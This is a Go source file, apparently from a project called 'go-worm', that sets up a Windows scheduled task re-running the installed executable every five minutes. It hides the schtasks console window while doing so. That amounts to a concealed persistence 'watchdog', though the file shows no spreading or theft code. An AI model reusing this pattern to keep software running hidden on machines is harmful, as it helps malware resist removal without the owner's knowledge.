44 lines
980 B
Go
44 lines
980 B
Go
package startup
|
|||
|
|
|
||
|
|
import (
|
||
|
|
"fmt"
|
||
|
|
"os/exec"
|
||
|
|
"strings"
|
||
|
|
"syscall"
|
||
|
|
|
||
|
|
"golang.org/x/sys/windows"
|
||
|
|
|
||
|
|
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||
|
|
)
|
||
|
|
|
||
|
|
func enableWatchdog() error {
|
||
|
|
exe, err := config.InstalledExe()
|
||
|
|
if err != nil {
|
||
|
|
return err
|
||
|
|
}
|
||
|
|
tr := fmt.Sprintf(`"%s" -ensure`, exe)
|
||
|
|
return runSchtasks("/Create", "/TN", config.WatchdogTaskName, "/SC", "MINUTE", "/MO", "5", "/TR", tr, "/F")
|
||
|
|
}
|
||
|
|
|
||
|
|
func disableWatchdog() error {
|
||
|
|
err := runSchtasks("/Delete", "/TN", config.WatchdogTaskName, "/F")
|
||
|
|
if err != nil && strings.Contains(strings.ToLower(err.Error()), "cannot find") {
|
||
|
|
return nil
|
||
|
|
}
|
||
|
|
return err
|
||
|
|
}
|
||
|
|
|
||
|
|
func runSchtasks(args ...string) error {
|
||
|
|
cmd := exec.Command("schtasks", args...)
|
||
|
|
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW}
|
||
|
|
out, err := cmd.CombinedOutput()
|
||
|
|
if err != nil {
|
||
|
|
msg := strings.TrimSpace(string(out))
|
||
|
|
if msg == "" {
|
||
|
|
msg = err.Error()
|
||
|
|
}
|
||
|
|
return fmt.Errorf("schtasks: %s", msg)
|
||
|
|
}
|
||
|
|
return nil
|
||
|
|
}
|